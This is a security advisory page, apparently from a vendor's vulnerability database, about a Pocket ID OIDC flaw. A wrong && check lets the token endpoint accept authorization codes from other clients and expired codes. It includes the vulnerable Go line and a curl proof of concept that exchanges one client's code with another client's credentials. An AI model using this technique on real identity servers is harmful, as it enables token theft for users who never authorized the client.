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Not in CISA KEV
HIGH severity

GHSA-qh6q-598w-w6m2

HIGH

GHSA-qh6q-598w-w6m2 is a high-severity (CVSS 8.5) CWE-863 vulnerability in github.com/pocket-id/pocket-id/backend. O3 Security confirms whether GHSA-qh6q-598w-w6m2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Also known asCVE-2026-28513GO-2026-4656
Published
Mar 9, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Mar 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qh6q-598w-w6m2.

Real-World Exposure

1 pkg affected
🐹github.com/pocket-id/pocket-id/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

ConditionExpectedActual
Wrong client + valid codeRejectAccept
Correct client + expired codeRejectAccept

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/pocket-id/pocket-id/backendall versions0.0.0-20260307173642-b59e35cb59ae

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pocket-id/pocket-id/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/pocket-id/pocket-id/backend to 0.0.0-20260307173642-b59e35cb59ae or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qh6q-598w-w6m2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qh6q-598w-w6m2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qh6q-598w-w6m2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse. ### Details `backend/internal/service/oidc_service.go:407` ```go if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) { return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{} } ``` `&&` should be `||`. Current behavior: | Condition | Expected | Actual | |-----------|----------|--------| | Wrong client + va
O3 Security · Impact-Aware SCA

Is GHSA-qh6q-598w-w6m2 in your dependencies?

O3 detects GHSA-qh6q-598w-w6m2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.